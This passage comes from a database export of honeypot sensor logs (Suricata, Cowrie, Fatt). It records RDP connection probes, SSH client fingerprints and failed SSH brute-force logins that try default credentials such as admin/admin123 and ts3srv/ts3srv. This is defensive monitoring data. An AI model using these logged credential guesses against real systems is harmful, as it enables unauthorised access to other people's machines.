"timezone": "Asia/Shanghai", "longitude": 106.2731, "region_code": "NX", "region_name": "Ningxia Hui Autonomous Region", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "61.133.192.126", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 984494240902238, "payload": "AwAAKybgAAAAAABDb29raWU6IG1zdHNoYXNoPWhlbGxvDQoBAAgAAwAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["ms.rdp.established"]}, "src_port": 62112, "dest_port": 3389, "timestamp": "2021-09-20T11:16:20.070814Z", "@timestamp": "2021-09-20T11:16:20.070Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "...+&......Cookie: mstshash=hello\\r\\n........"}}	1	\N	\N	alert	\N	\N
28157	61.133.192.126	109.199.241.180	Suricata	2021-09-20 14:16:20.070814+03	2021-09-20 14:30:02.457524+03	{"_id": "tAbrAnwBvYTbRNuEzSwm", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:16:19.732254+0000", "pkts_toclient": 1, "pkts_toserver": 3, "bytes_toclient": 66, "bytes_toserver": 223}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 9, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY RDP connection request", "signature_id": 2001329}, "geoip": {"ip": "61.133.192.126", "asn": 4134, "as_org": "Chinanet", "latitude": 38.4681, "location": {"lat": 38.4681, "lon": 106.2731}, "timezone": "Asia/Shanghai", "longitude": 106.2731, "region_code": "NX", "region_name": "Ningxia Hui Autonomous Region", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "61.133.192.126", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 984494240902238, "payload": "AwAAKybgAAAAAABDb29raWU6IG1zdHNoYXNoPWhlbGxvDQoBAAgAAwAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["ms.rdp.established"]}, "src_port": 62112, "dest_port": 3389, "timestamp": "2021-09-20T11:16:20.070814Z", "@timestamp": "2021-09-20T11:16:20.070Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "...+&......Cookie: mstshash=hello\\r\\n........"}}	1	\N	\N	alert	\N	\N
28158	61.133.192.126	109.199.241.180	Fatt	2021-09-20 14:16:20.070814+03	2021-09-20 14:30:02.458525+03	{"_id": "uQbrAnwBvYTbRNuEzixs", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "61.133.192.126", "asn": 4134, "as_org": "Chinanet", "latitude": 38.4681, "location": {"lat": 38.4681, "lon": 106.2731}, "timezone": "Asia/Shanghai", "longitude": 106.2731, "region_code": "NX", "region_name": "Ningxia Hui Autonomous Region", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "src_ip": "61.133.192.126", "dest_ip": "192.168.20.116", "@version": "1", "fatt_rdp": {"requestedProtocols": "0x00000003"}, "protocol": "rdp", "src_port": 62112, "dest_port": 3389, "timestamp": "2021-09-20T11:16:20.070814", "@timestamp": "2021-09-20T11:16:20.070Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	rdp	\N	\N	\N	\N
28159	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:16:20.45318+03	2021-09-20 14:30:02.459554+03	{"_id": "uwbrAnwBvYTbRNuEzyw_", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.login.failed", "message": "login attempt [admin/admin123] failed", "session": "73f2ce88e011", "@version": "1", "password": "admin123", "username": "admin", "timestamp": "2021-09-20T11:16:20.453180Z", "@timestamp": "2021-09-20T11:16:20.453Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
28160	61.133.192.126	109.199.241.180	Suricata	2021-09-20 14:16:20.464736+03	2021-09-20 14:30:02.460554+03	{"_id": "vAbrAnwBvYTbRNuE0SwP", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:16:19.732254+0000", "pkts_toclient": 3, "pkts_toserver": 4, "bytes_toclient": 193, "bytes_toserver": 283}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 14, "action": "allowed", "cve_id": "CVE-2001-0540", "category": "Generic Protocol Command Decode", "metadata": {"created_at": ["2010_09_23"], "updated_at": ["2010_09_23"]}, "severity": 3, "signature": "GPL POLICY MS Remote Desktop Request RDP", "signature_id": 2101447}, "geoip": {"ip": "61.133.192.126", "asn": 4134, "as_org": "Chinanet", "latitude": 38.4681, "location": {"lat": 38.4681, "lon": 106.2731}, "timezone": "Asia/Shanghai", "longitude": 106.2731, "region_code": "NX", "region_name": "Ningxia Hui Autonomous Region", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "61.133.192.126", "stream": 1, "dest_ip": "192.168.20.116", "flow_id": 984494240902238, "payload": "AwAAKybgAAAAAABDb29raWU6IG1zdHNoYXNoPWhlbGxvDQoBAAgAAwAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["ms.rdp.established"]}, "src_port": 62112, "dest_port": 3389, "timestamp": "2021-09-20T11:16:20.464736Z", "@timestamp": "2021-09-20T11:16:20.464Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "...+&......Cookie: mstshash=hello\\r\\n........"}}	1	\N	\N	alert	\N	\N
28162	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:16:21.971483+03	2021-09-20 14:30:02.463553+03	{"_id": "ywbrAnwBvYTbRNuE1iw9", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "116.110.220.49", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 34408, "timestamp": "2021-09-20T11:16:21.971483", "@timestamp": "2021-09-20T11:16:21.971Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
28163	116.110.220.49	109.199.241.180	Cowrie	2021-09-20 14:16:22.037853+03	2021-09-20 14:30:02.465543+03	{"_id": "zAbrAnwBvYTbRNuE1ywR", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "116.110.220.49", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "b2f77d7057df", "@version": "1", "timestamp": "2021-09-20T11:16:22.037853Z", "@timestamp": "2021-09-20T11:16:22.037Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	\N	\N
28164	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:16:19.260786+03	2021-09-20 14:30:02.466554+03	{"_id": "pAbrAnwBvYTbRNuEyiyD", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "116.98.160.162", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 57228, "timestamp": "2021-09-20T11:16:19.260786", "@timestamp": "2021-09-20T11:16:19.260Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
28165	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:16:19.098792+03	2021-09-20 14:30:02.467554+03	{"_id": "pQbrAnwBvYTbRNuEyyxX", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "eventid": "cowrie.login.failed", "message": "login attempt [ts3srv/ts3srv] failed", "session": "348e18676687", "@version": "1", "password": "ts3srv", "username": "ts3srv", "timestamp": "2021-09-20T11:16:19.098792Z", "@timestamp": "2021-09-20T11:16:19.098Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	\N	\N
28176	116.110.220.49	109.199.241.180	Cowrie	2021-09-20 14:16:21.81983+03	2021-09-20 14:30:02.481524+03	{"_id": "xgbrAnwBvYTbRNuE0ywp", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.110.220.49", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "b2f77d7057df", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:16:21.819830Z", "@timestamp": "2021-09-20T11:16:21.819Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	\N
28167	116.105.211.46	109.199.241.180	Suricata	2021-09-20 14:16:19.000173+03	2021-09-20 14:30:02.47056+03	{"_id": "yQbrAnwBvYTbRNuE1Cz4", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "flow": {"start": "2021-09-20T11:14:09.138206+0000", "pkts_toclient": 7, "pkts_toserver": 8, "bytes_toclient": 1097, "bytes_toserver": 2896}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 8, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY SSH session in progress on Expected Port", "signature_id": 2001978}, "geoip": {"ip": "116.105.211.46", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "116.105.211.46", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 845358766824414, "@version": "1", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex", "is_ssh_client_banner"]}, "src_port": 38274, "app_proto": "ssh", "dest_port": 22, "timestamp": "2021-09-20T11:16:19.000173Z", "@timestamp": "2021-09-20T11:16:19.000Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ""}}	1	\N	\N	alert	\N	\N
28168	116.110.220.49	109.199.241.180	Fatt	2021-09-20 14:16:22.037465+03	2021-09-20 14:30:02.471526+03	{"_id": "ygbrAnwBvYTbRNuE1iw9", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "src_ip": "116.110.220.49", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 34408, "dest_port": 22, "timestamp": "2021-09-20T11:16:22.037465", "@timestamp": "2021-09-20T11:16:22.037Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
28169	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:16:19.568775+03	2021-09-20 14:30:02.47256+03	{"_id": "rQbrAnwBvYTbRNuEyyxX", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "73f2ce88e011", "@version": "1", "timestamp": "2021-09-20T11:16:19.568775Z", "@timestamp": "2021-09-20T11:16:19.568Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": 